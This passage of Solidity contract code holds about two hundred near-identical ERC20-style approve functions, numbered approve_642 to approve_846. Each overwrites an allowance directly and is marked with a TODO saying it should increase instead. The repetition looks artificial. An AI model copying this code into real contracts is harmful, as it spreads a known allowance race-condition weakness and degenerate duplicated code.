value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_642(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_643(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_644(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_645(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_646(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_647(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_648(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_649(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_650(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_651(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_652(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_653(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_654(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_655(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_656(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_657(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_658(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_659(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_660(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_661(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_662(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_663(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_664(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_665(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_666(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_667(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_668(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_669(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_670(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_671(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_672(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_673(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_674(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_675(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_676(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_677(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_678(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_679(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_680(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_681(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_682(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_683(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_684(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_685(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_686(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_687(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_688(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_689(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_690(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_691(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_692(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_693(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_694(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_695(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_696(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_697(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_698(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_699(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_700(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_701(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_702(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_703(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_704(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_705(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_706(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_707(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_708(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_709(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_710(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_711(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_712(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_713(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_714(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_715(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_716(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_717(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_718(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_719(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_720(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_721(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_722(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_723(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_724(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_725(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_726(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_727(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_728(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_729(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_730(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_731(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_732(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_733(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_734(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_735(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_736(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_737(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_738(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_739(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_740(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_741(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_742(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_743(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_744(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_745(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_746(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_747(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_748(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_749(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_750(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_751(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_752(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_753(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_754(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_755(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_756(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_757(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_758(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_759(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_760(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_761(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_762(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_763(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_764(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_765(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_766(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_767(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_768(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_769(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_770(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_771(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_772(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_773(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_774(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_775(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_776(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_777(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_778(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_779(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_780(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_781(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_782(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_783(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_784(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_785(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_786(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_787(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_788(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_789(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_790(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_791(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_792(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_793(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_794(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_795(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_796(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_797(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_798(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_799(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_800(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_801(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_802(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_803(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_804(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_805(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_806(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_807(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_808(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_809(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_810(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_811(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_812(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_813(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_814(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_815(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_816(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_817(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_818(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_819(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_820(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_821(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_822(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_823(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_824(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_825(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_826(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_827(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_828(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_829(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_830(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_831(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_832(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_833(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_834(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_835(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_836(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_837(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_838(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_839(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_840(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_841(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_842(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_843(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_844(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_845(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_846(address spender, uint value) public returns (bool ok) { // TODO: should increase instead 